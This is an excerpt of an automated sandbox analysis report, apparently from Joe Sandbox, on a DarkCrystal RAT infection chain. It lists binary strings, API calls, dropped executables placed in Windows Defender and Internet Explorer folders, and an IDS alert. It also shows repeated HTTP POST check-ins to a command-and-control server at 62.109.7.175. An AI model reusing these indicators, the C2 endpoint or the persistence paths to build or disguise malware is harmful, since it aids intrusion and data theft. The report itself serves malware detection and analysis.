Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDFAABDF70 COMP_zlib,CRYPTO_mem_ctrl,OPENSSL_sk_new,COMP_get_type,CRYPTO_malloc,COMP_get_name,OPENSSL_sk_push,OPENSSL_sk_sort,CRYPTO_mem_ctrl,	41_2_00007FFDFAABDF70
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDFAAA1956 EVP_CIPHER_CTX_cipher,EVP_CIPHER_flags,EVP_MD_CTX_md,EVP_MD_size,CRYPTO_memcmp,EVP_MD_CTX_md,EVP_MD_CTX_md,EVP_MD_size,EVP_CIPHER_CTX_cipher,EVP_CIPHER_flags,EVP_CIPHER_CTX_cipher,EVP_CIPHER_flags,CRYPTO_memcmp,strncmp,strncmp,strncmp,strncmp,strncmp,	41_2_00007FFDFAAA1956

Source: 1tQ7HC6GOS.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: C:\MsComponentSvc\hyperServer.exe	Directory created: C:\Program Files\Windows Defender\Offline\cmd.exe	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Directory created: C:\Program Files\Windows Defender\Offline\ebf1f9fa8afd6d	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Directory created: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Directory created: C:\Program Files\Internet Explorer\images\27594514469294	Jump to behavior

Source:	Binary string: D:\a\1\s\Win32\Release\regjump.pdb source: 5GG.exe, 00000001.00000003.1692905430.00000145A1928000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\Projects\VS2005\ExecutedProgramsList\Release\ExecutedProgramsList.pdb source: 5GG.exe, 00000001.00000003.1671285767.00000145A1928000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-locale-l1-1-0.pdb source: 5GG.exe, 00000001.00000003.1663105785.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-locale-l1-1-0.dll.1.dr
Source:	Binary string: C:\Users\Vinay\Projects\simple_launcher\dist\t64.pdb source: 5GG.exe, 00000001.00000002.2885424303.00000145A3230000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-runtime-l1-1-0.pdb source: 5GG.exe, 00000001.00000003.1663607693.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-runtime-l1-1-0.dll.1.dr
Source:	Binary string: api-ms-win-core-file-l1-2-0.pdb source: 5GG.exe, 00000001.00000003.1661201242.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-file-l1-2-0.dll.1.dr
Source:	Binary string: ucrtbase.pdb source: 5GG.exe, 00000029.00000002.2904563335.00007FFDFAC01000.00000002.00000001.01000000.00000016.sdmp
Source:	Binary string: D:\a\_work\1\s\\binaries\amd64ret\bin\amd64\\vcruntime140_1.amd64.pdb source: 5GG.exe, 00000001.00000003.1657465662.00000145A1926000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-memory-l1-1-0.pdb source: 5GG.exe, 00000001.00000003.1661670498.00000145A1926000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-debug-l1-1-0.pdb source: 5GG.exe, 00000001.00000003.1661001870.00000145A1926000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 7..pDb source: hyperServer.exe, 00000006.00000002.1883820866.00007FFD9C380000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-sysinfo-l1-1-0.pdb source: 5GG.exe, 00000001.00000003.1662464065.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-sysinfo-l1-1-0.dll.1.dr
Source:	Binary string: api-ms-win-crt-filesystem-l1-1-0.pdb source: 5GG.exe, 00000001.00000003.1662913038.00000145A1926000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-stdio-l1-1-0.pdb source: 5GG.exe, 00000001.00000003.1663745033.00000145A1926000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\python310.pdb source: 5GG.exe, 00000029.00000002.2902886199.00007FFDF58D3000.00000002.00000001.01000000.00000017.sdmp
Source:	Binary string: api-ms-win-core-heap-l1-1-0.pdb source: 5GG.exe, 00000001.00000003.1661389955.00000145A1926000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\Projects\VS2005\USBDeview\Release\USBDeview.pdb source: 7.exe.1.dr
Source:	Binary string: api-ms-win-core-util-l1-1-0.pdb source: 5GG.exe, 00000001.00000003.1662613149.00000145A1926000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-synch-l1-1-0.pdb source: 5GG.exe, 00000001.00000003.1662276814.00000145A1926000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_lzma.pdbNN source: 5GG.exe, 00000001.00000003.1660199691.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2906441005.00007FFE0EB5C000.00000002.00000001.01000000.0000001C.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_asyncio.pdb source: 5GG.exe, 00000001.00000003.1657542577.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2905820397.00007FFE0E137000.00000002.00000001.01000000.00000024.sdmp
Source:	Binary string: api-ms-win-crt-environment-l1-1-0.pdb source: 5GG.exe, 00000001.00000003.1662833605.00000145A1926000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_lzma.pdb source: 5GG.exe, 00000001.00000003.1660199691.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2906441005.00007FFE0EB5C000.00000002.00000001.01000000.0000001C.sdmp
Source:	Binary string: api-ms-win-core-errorhandling-l1-1-0.pdb source: 5GG.exe, 00000001.00000003.1661071459.00000145A1926000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\select.pdb source: 5GG.exe, 00000001.00000003.1693148519.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2908532876.00007FFE126C3000.00000002.00000001.01000000.0000001F.sdmp
Source:	Binary string: api-ms-win-core-processthreads-l1-1-0.pdb source: 5GG.exe, 00000001.00000003.1661902975.00000145A1926000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\unicodedata.pdb source: 5GG.exe, 00000029.00000002.2898119338.00007FFDF3B9C000.00000002.00000001.01000000.0000002D.sdmp
Source:	Binary string: api-ms-win-core-console-l1-1-0.pdb source: 5GG.exe, 00000001.00000003.1660864304.00000145A1926000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-file-l1-1-0.pdb source: 5GG.exe, 00000001.00000003.1661135925.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-file-l1-1-0.dll.1.dr
Source:	Binary string: D:\_w\1\b\libssl-1_1.pdb@@ source: 5GG.exe, 00000029.00000002.2904175636.00007FFDFAB15000.00000002.00000001.01000000.00000023.sdmp, libssl-1_1.dll.1.dr
Source:	Binary string: api-ms-win-crt-convert-l1-1-0.pdb source: 5GG.exe, 00000001.00000003.1662754073.00000145A1926000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_ssl.pdb source: 5GG.exe, 00000029.00000002.2905517661.00007FFE0C0AD000.00000002.00000001.01000000.00000021.sdmp
Source:	Binary string: D:\a\_work\1\s\\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: 5GG.exe, 00000001.00000003.1657350133.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2908124580.00007FFE11BD1000.00000002.00000001.01000000.00000018.sdmp
Source:	Binary string: api-ms-win-core-profile-l1-1-0.pdb source: 5GG.exe, 00000001.00000003.1662055903.00000145A1926000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ucrtbase.pdbUGP source: 5GG.exe, 00000029.00000002.2904563335.00007FFDFAC01000.00000002.00000001.01000000.00000016.sdmp
Source:	Binary string: api-ms-win-crt-time-l1-1-0.pdb source: 5GG.exe, 00000001.00000003.1663942819.00000145A1926000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: DCRatBuild.exe, 00000002.00000003.1664295884.0000000005308000.00000004.00000020.00020000.00000000.sdmp, DCRatBuild.exe, 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmp, DCRatBuild.exe, 00000002.00000003.1663486823.00000000051FF000.00000004.00000020.00020000.00000000.sdmp, DCRatBuild.exe, 00000002.00000000.1656834272.00000000008A3000.00000002.00000001.01000000.00000006.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_decimal.pdb$$ source: 5GG.exe, 00000029.00000002.2904792091.00007FFE00488000.00000002.00000001.01000000.00000030.sdmp
Source:	Binary string: api-ms-win-core-handle-l1-1-0.pdb source: 5GG.exe, 00000001.00000003.1661331204.00000145A1926000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-synch-l1-2-0.pdb source: 5GG.exe, 00000001.00000003.1662368240.00000145A1926000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\_w\1\b\libssl-1_1.pdb source: 5GG.exe, 00000029.00000002.2904175636.00007FFDFAB15000.00000002.00000001.01000000.00000023.sdmp, libssl-1_1.dll.1.dr
Source:	Binary string: C:\A\40\b\bin\amd64\_decimal.pdb source: 5GG.exe, 00000029.00000002.2904792091.00007FFE00488000.00000002.00000001.01000000.00000030.sdmp
Source:	Binary string: api-ms-win-core-processenvironment-l1-1-0.pdb source: 5GG.exe, 00000001.00000003.1661830558.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-processenvironment-l1-1-0.dll.1.dr
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASM source: 5GG.exe, 00000029.00000002.2901362101.00007FFDF549F000.00000002.00000001.01000000.00000022.sdmp
Source:	Binary string: api-ms-win-core-datetime-l1-1-0.pdb source: 5GG.exe, 00000001.00000003.1660928714.00000145A1926000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-conio-l1-1-0.pdb source: 5GG.exe, 00000001.00000003.1662680229.00000145A1926000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_ctypes.pdb source: 5GG.exe, 00000029.00000002.2907121423.00007FFE10310000.00000002.00000001.01000000.00000019.sdmp
Source:	Binary string: api-ms-win-core-localization-l1-2-0.pdb source: 5GG.exe, 00000001.00000003.1661591867.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-localization-l1-2-0.dll.1.dr
Source:	Binary string: api-ms-win-crt-math-l1-1-0.pdb source: 5GG.exe, 00000001.00000003.1663227820.00000145A1926000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_queue.pdb source: 5GG.exe, 00000001.00000003.1660469872.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2908329848.00007FFE120C3000.00000002.00000001.01000000.00000020.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_overlapped.pdb source: 5GG.exe, 00000001.00000003.1660390103.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2907910760.00007FFE11BB5000.00000002.00000001.01000000.00000025.sdmp, _overlapped.pyd.1.dr
Source:	Binary string: api-ms-win-core-processthreads-l1-1-1.pdb source: 5GG.exe, 00000001.00000003.1661974546.00000145A1926000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASMOpenSSL 1.1.1n 15 Mar 2022built on: Tue Mar 15 18:32:50 2022 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-1_1"not available source: 5GG.exe, 00000029.00000002.2901362101.00007FFDF549F000.00000002.00000001.01000000.00000022.sdmp
Source:	Binary string: api-ms-win-core-namedpipe-l1-1-0.pdb source: 5GG.exe, 00000001.00000003.1661752992.00000145A1926000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-utility-l1-1-0.pdb source: 5GG.exe, 00000001.00000003.1664160389.00000145A1926000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-rtlsupport-l1-1-0.pdb source: 5GG.exe, 00000001.00000003.1662128427.00000145A1926000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-timezone-l1-1-0.pdb source: 5GG.exe, 00000001.00000003.1662540630.00000145A1926000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-string-l1-1-0.pdb source: 5GG.exe, 00000001.00000003.1662197660.00000145A1926000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-file-l2-1-0.pdb source: 5GG.exe, 00000001.00000003.1661267025.00000145A1926000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_multiprocessing.pdb source: 5GG.exe, 00000001.00000003.1660313678.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, _multiprocessing.pyd.1.dr
Source:	Binary string: api-ms-win-crt-process-l1-1-0.pdb source: 5GG.exe, 00000001.00000003.1663523745.00000145A1926000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-libraryloader-l1-1-0.pdb source: 5GG.exe, 00000001.00000003.1661519849.00000145A1926000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_socket.pdb source: 5GG.exe, 00000001.00000003.1660541962.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2906230821.00007FFE0EB28000.00000002.00000001.01000000.0000001E.sdmp
Source:	Binary string: api-ms-win-core-interlocked-l1-1-0.pdb source: 5GG.exe, 00000001.00000003.1661452425.00000145A1926000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_tkinter.pdb source: 5GG.exe, 00000001.00000003.1660762022.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2905308325.00007FFE014C8000.00000002.00000001.01000000.00000026.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_bz2.pdb source: 5GG.exe, 00000001.00000003.1657649288.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2906688498.00007FFE101DD000.00000002.00000001.01000000.0000001B.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_hashlib.pdb source: 5GG.exe, 00000001.00000003.1659336779.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2907707700.00007FFE11506000.00000002.00000001.01000000.0000002A.sdmp
Source:	Binary string: api-ms-win-crt-heap-l1-1-0.pdb source: 5GG.exe, 00000001.00000003.1662980404.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-heap-l1-1-0.dll.1.dr
Source:	Binary string: D:\_w\1\b\libcrypto-1_1.pdb source: 5GG.exe, 00000029.00000002.2901362101.00007FFDF5521000.00000002.00000001.01000000.00000022.sdmp
Source:	Binary string: api-ms-win-crt-string-l1-1-0.pdb source: 5GG.exe, 00000001.00000003.1663815692.00000145A1926000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\pyexpat.pdb source: 5GG.exe, 00000029.00000002.2906028629.00007FFE0E172000.00000002.00000001.01000000.0000001D.sdmp

Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 1_2_00007FF7E54B7E4C _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	1_2_00007FF7E54B7E4C
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 1_2_00007FF7E54C1EE4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	1_2_00007FF7E54C1EE4
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 1_2_00007FF7E54A88D0 FindFirstFileExW,FindClose,	1_2_00007FF7E54A88D0
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 1_2_00007FF7E54B7E4C _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	1_2_00007FF7E54B7E4C
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 2_2_0087A69B FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	2_2_0087A69B
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 2_2_0088C220 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,	2_2_0088C220

Source: C:\MsComponentSvc\hyperServer.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Source: C:\MsComponentSvc\hyperServer.exe	Code function: 4x nop then jmp 00007FFD9BAE21B6h	6_2_00007FFD9BAD087A
Source: C:\MsComponentSvc\hyperServer.exe	Code function: 4x nop then mov dword ptr [ebp-04h], 7FFFFFFFh	6_2_00007FFD9BC8D46D
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Code function: 4x nop then jmp 00007FFD9BAB21B6h	28_2_00007FFD9BAA087A
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Code function: 4x nop then jmp 00007FFD9BAD21B6h	30_2_00007FFD9BAC087A
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Code function: 4x nop then jmp 00007FFD9BAA21B6h	31_2_00007FFD9BA9087A
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Code function: 4x nop then jmp 00007FFD9BAE21B6h	36_2_00007FFD9BAE1FAE
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Code function: 4x nop then mov dword ptr [ebp-04h], 7FFFFFFFh	36_2_00007FFD9BC8D46D

Networking

Snort IDS alert for network traffic

Source: Traffic

Snort IDS: 2048095 ET TROJAN [ANY.RUN] DarkCrystal Rat Check-in (POST) 192.168.2.4:49736 -> 62.109.7.175:80

Source: Joe Sandbox View

ASN Name: THEFIRST-ASRU THEFIRST-ASRU

Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 344Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 384Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 1868Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2548Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 1868Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 1868Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 62.109.7.175Content-Length: 2552Expect: 100-continueConnection: Keep-Alive
